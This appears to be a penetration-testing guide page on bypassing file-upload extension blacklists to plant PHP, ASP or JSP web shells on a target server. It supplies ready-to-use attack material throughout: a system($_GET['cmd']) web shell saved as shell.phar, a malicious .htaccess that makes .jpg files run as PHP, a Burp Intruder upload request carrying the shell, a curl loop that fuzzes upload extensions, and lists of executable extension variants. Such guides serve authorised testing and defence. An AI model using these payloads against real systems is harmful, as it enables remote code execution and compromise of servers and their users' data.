Extension blacklist
Blacklists try to stop dangerous extensions by listing them. They miss things. The classics that frequently get past a .php-only blacklist:
shell.phtml # PHP-handler enabled for .phtml on most Apache configsshell.phar # PHP archive - executes as PHP, often not blockedshell.php5 # version-specific PHPshell.php7shell.php3 # ancient but sometimes enabledshell.pht # less common, sometimes worksshell.pHp # case manipulation (Windows or case-insensitive matchers)shell.PhP3Success indicator: file uploads with the alternate extension, visiting it executes the code.
Why blacklists fail
Section titled “Why blacklists fail”The fundamental problem: there are more dangerous extensions than the developer thought. PHP alone executes via at least seven extension variants depending on server configuration. A blacklist that catches .php and .php5 misses .phar, .phtml, .pht. A blacklist that catches all those misses case-manipulated variants on Windows.
A typical vulnerable blacklist:
$blacklist = array('php', 'php3', 'php4', 'php5', 'phps');$extension = pathinfo($fileName, PATHINFO_EXTENSION);
if (in_array($extension, $blacklist)) { echo "File type not allowed"; die();}This catches the obvious cases and misses .phar, .phtml, .pht, and case-manipulated variants like .pHp. The bypass is finding what’s missing.
PHP - alternate executable extensions
Section titled “PHP - alternate executable extensions”The complete list of PHP-executing extensions on a default Apache configuration:
.php # primary.php2.php3.php4.php5.php6.php7.phps # PHP source - often disabled but worth trying.pht.phtm.phtml.phar.phpt.pgif.shtml.htaccess # not PHP itself, but lets you redefine handlers - see notesThe Apache configuration that enables these typically looks like:
<FilesMatch ".+\.ph(p[3457]?|t|tml|ar)"> SetHandler application/x-httpd-php</FilesMatch>The regex above is what makes .phar, .phtml, .pht, .phtm, .php3, .php4, .php5, .php7 all execute as PHP. If the regex is more permissive (.+\.ph.+), even more variants execute.
.phar - the most underrated
Section titled “.phar - the most underrated”.phar (PHP Archive) is enabled by default on most LAMP stacks. It’s a legitimate PHP extension for executable archives - but the file doesn’t have to be a real PHAR. A plain text file with .phar extension and PHP content executes as PHP:
echo '<?php system($_GET["cmd"]); ?>' > shell.phar# Upload as shell.phar# Visit https://target/uploads/shell.phar?cmd=idFilter authors frequently miss .phar because it’s less commonly known than .php. It’s the operator’s reliable fallback when .php, .phtml, and .php5 are all blocked.
.phtml - the runner-up
Section titled “.phtml - the runner-up”Same story - enabled on most Apache configs, less commonly blacklisted than .php. Try after .phar.
.htaccess - second-order
Section titled “.htaccess - second-order”.htaccess is an Apache configuration file. If the upload directory allows .htaccess and Apache reads it (AllowOverride All is set), uploading a malicious .htaccess redefines what counts as PHP:
# Upload this as .htaccessAddType application/x-httpd-php .jpgNow any .jpg in the same directory executes as PHP. Upload .htaccess first, then upload shell.jpg. Many file-upload blacklists don’t include .htaccess because it isn’t an “executable” itself - but the second-order effect is just as serious.
This works only if:
- The upload landing directory allows per-directory
.htaccess - The Apache config has
AllowOverride All(or at leastAllowOverride FileInfo) - The web server is Apache (Nginx ignores
.htaccess)
ASP / ASP.NET - alternate extensions
Section titled “ASP / ASP.NET - alternate extensions”.asp # classic ASP.aspx # ASP.NET.ashx # HTTP handler.asmx # web service.cer # certificate file - sometimes executable on misconfigured IIS.cdx # ChannelDefinitionFormat - sometimes executable.config # IIS reads this and may execute embedded handler code.asax # global.asax.ashx is the ASP equivalent of .phar - frequently allowed, executes server-side code. The IIS handler regex usually catches it.
JSP - alternate extensions
Section titled “JSP - alternate extensions”.jsp.jspx.jspf.jsw.jsv.jhtml.tag # tag library file - sometimes executable.tagx.jspx is the most commonly-overlooked JSP variant.
Case manipulation
Section titled “Case manipulation”On case-insensitive systems (Windows, some Linux + filesystem configurations), shell.pHp is the same file as shell.php. The blacklist’s in_array(['php', 'php3', ...]) does a case-sensitive match - pHp isn’t in the list, passes through, gets written as pHp, then Apache treats it as PHP based on a case-insensitive match.
shell.pHpshell.PHpshell.PHP3shell.Phtmlshell.PHARPure-Linux servers may or may not be case-sensitive depending on filesystem (ext4 is, NTFS isn’t). Case manipulation is most effective against:
- Windows IIS targets
- Apache on case-insensitive filesystems
- PHP applications running on Windows
- Macs (less common as production servers, but Docker-on-Mac is a thing)
Try it as a quick variant when the lowercase forms fail. Costs nothing.
Identifying which extensions execute
Section titled “Identifying which extensions execute”The blacklist might allow .phar but the server might not have .phar mapped to PHP. Test before committing:
# Upload a simple test fileecho '<?php echo "PHAR_EXEC_OK"; ?>' > test.phar
# Visit itcurl https://target/uploads/test.pharTwo outcomes:
- Response contains
PHAR_EXEC_OK→ the extension executes as PHP, you have RCE - Response shows the raw
<?php echo ...; ?>source → uploaded, but doesn’t execute, try another extension - Response is 403 / 404 → upload failed or path wrong, see Post-upload
Repeat with each candidate extension. Five minutes of testing maps which extensions actually work on the target.
Wordlists for fuzzing
Section titled “Wordlists for fuzzing”When manual variants don’t work, fuzz a wordlist:
# PayloadsAllTheThings PHP extensionshttps://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst
# ASP variantshttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP
# General web extensionshttps://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txtBurp Intruder with the wordlist as a payload list, targeting the extension portion of the filename:
POST /upload.php HTTP/1.1Host: target.example.comContent-Type: multipart/form-data; boundary=---X
-----XContent-Disposition: form-data; name="uploadFile"; filename="shell.§ext§"Content-Type: image/png
<?php system($_GET["cmd"]); ?>-----X--Set the §ext§ marker to fuzz on extensions from the wordlist. Sort results by response size - different sizes likely indicate different outcomes (success vs. rejection).
Diagnostic flow
Section titled “Diagnostic flow”When you have a confirmed blacklist (you see “Extension not allowed” or similar):
# 1. Verify your basic attempt is being blocked# → "Extension not allowed"
# 2. Try the operator's first fivefor ext in phtml phar php5 pHp pht; do cp test.php test.$ext response=$(curl -F "uploadFile=@test.$ext" https://target/upload.php) echo "$ext: $response" rm test.$extdone
# 3. If none work, run a wordlist fuzz# 4. If still nothing, move to whitelist bypass - see Extension whitelistWhen the blacklist is robust
Section titled “When the blacklist is robust”A well-maintained blacklist might genuinely block every PHP-executing extension. When that’s the case:
- Try a whitelist bypass - even apps with a blacklist usually also have a whitelist. The whitelist’s
.jpg/.pngaccept list might be bypassable through whitelist bypass techniques. - Try LFI chain - if the application has both LFI and uploads, upload any file with PHP content (regardless of extension) and include it via the LFI.
- Look for second-order injection - if uploaded filenames get reflected anywhere (database, audit logs, file listings), the filename itself might be a vector.
The blacklist is just one layer. When it’s strong, other layers usually aren’t.
Special case - uppercase regex match
Section titled “Special case - uppercase regex match”A blacklist sometimes uses regex case-insensitively:
if (preg_match('/\.(php|phps|phtml)$/i', $fileName)) { ... }The /i makes the match case-insensitive - .pHp and .PHP both match. Case manipulation alone won’t help here.
The bypass: extensions outside the regex’s enumeration. .phar, .pht, .php5 - if the regex doesn’t explicitly list them, they pass even with case-insensitivity.
Cross-language case - application stack guesswork
Section titled “Cross-language case - application stack guesswork”Sometimes the application is multi-language (PHP frontend, Python backend, etc.). The blacklist might cover PHP but miss other executables:
.py # if Python CGI is enabled.pl # Perl CGI.cgi # generic CGI.rb # Ruby CGI (rare).jar # if a Java servlet container processes uploaded JARs.war # Java web archive (Tomcat)These are less likely to execute than PHP variants but worth trying on targets that look mixed-stack.
Detection-only payloads
Section titled “Detection-only payloads”A confirmation that the extension executes, without committing to a real shell:
<?php echo md5("PHARPROBE_" . date("YmdHi")); ?>The output is a unique 32-char hex string per minute - distinguishable from any normal page content, hard to false-positive on. Replace phar in PHARPROBE to identify which extension was the success vector when testing multiple.
.pharis the operator’s reliable fallback. Frequently allowed because filter authors didn’t recognize it; frequently executable because Apache’s default PHP handler regex includes it. Try.pharafter.phpfails before trying anything else.- Case manipulation is free to try. Even when the server doesn’t appear Windows-flavored, the filesystem might be case-insensitive. Costs one extra request.
.htaccessis high-yield when it works. Per-directory.htaccessenabled in upload directories is a common misconfiguration - uploading.htaccessto redefine handlers can re-enable execution of allowed extensions.- Some blacklists also check the file content. A blacklist that catches both the extension and the
<?phpopening tag in the file content needs a content-type bypass in addition to an extension variant.